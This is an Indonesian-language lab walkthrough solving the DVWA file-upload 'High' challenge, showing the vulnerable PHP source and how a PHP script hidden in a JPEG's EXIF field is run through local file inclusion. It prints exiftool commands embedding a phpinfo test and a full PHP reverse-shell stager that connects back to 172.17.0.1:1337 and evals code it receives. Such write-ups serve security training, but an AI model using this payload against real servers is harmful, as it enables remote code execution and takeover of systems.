High

File Upload level High on DVWA

Di bawah ini adalah source-code dari file upload level high di DVWA.

vulnerabilities/upload/source/high.php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

Mencari Informasi

Kali ini terdapat tambahan fungsi getimagesize() pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.

Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-bypass file non-image lagi.

Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan script PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya script tersebut dijalankan melalui celah local file inclusion.

Melakukan Serangan

Pertama-tama, siapkan gambar apa pun lalu sisipkan script menggunakan EXIFTOOL seperti berikut:

exiftool -DocumentName="<?php phpinfo(); die(); ?>" kucing.jpg  

Hasilnya, script tersebut telah tersimpan di header Document Name pada file gambar:

Jika kita mencoba menjalan script tersebut melalui PHP CLI, maka akan tampil seperti berikut:

Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah local file inclusion, dan hasilnya akan seperti berikut:

Terlihat fungsi phpinfo() berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan reverse shell seperti pada level sebelumnya.

Melakukan Backconnect

Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya.

Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut:

exiftool -DocumentName='<?php /**/ error_reporting(0); $ip = "172.17.0.1"; $port = 1337; if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port); $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") && ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } else { eval($b); } die(); __halt_compiler();' kucing.jpg

Pastikan komputer kita (sebagai peretas) telah menjadi listener dari backconnect tersebut. Lalu, upload file gambar tersebut dan akses melalui celah local file inclusion.

Jika berhasil, akan tampak seperti gambar di atas. Selamat! 😁

Huft! Banyak pengalaman yang menarik bagi saya di sini. Tetap semangat!

Happy Hacking! 🍻

Last updated